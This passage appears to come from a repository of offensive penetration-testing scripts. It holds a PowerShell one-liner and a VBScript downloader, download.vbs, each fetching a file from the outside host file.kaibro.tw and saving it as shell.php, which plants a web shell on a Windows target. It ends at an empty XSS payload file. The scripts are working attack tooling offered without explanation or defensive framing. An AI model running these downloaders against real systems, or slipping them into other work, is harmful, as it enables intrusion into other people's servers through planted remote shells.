1 | $c=new-object System.Net.WebClient;$c.DownloadFile('http://file.kaibro.tw/s','C:\shell.php')
2 |
--------------------------------------------------------------------------------
/scripts/windows/download.vbs:
--------------------------------------------------------------------------------
1 | Download "http://file.kaibro.tw/shell", "shell.php"
2 | Function Download(strUrl, strFile)
3 | Set xPost = CreateObject("MSXML2.ServerXMLHTTP")
4 | xPost.Open "GET", strUrl,0
5 | xPost.Send()
6 | Set sGet = CreateObject("ADODB.Stream")
7 | sGet.Mode = 3
8 | sGet.Type = 1
9 | sGet.Open()
10 | sGet.Write(xPost.responseBody)
11 | sGet.SaveToFile strFile,2
12 | End Function
13 |
--------------------------------------------------------------------------------
/scripts/xss/payload:
--------------------------------------------------------------------------------
1 |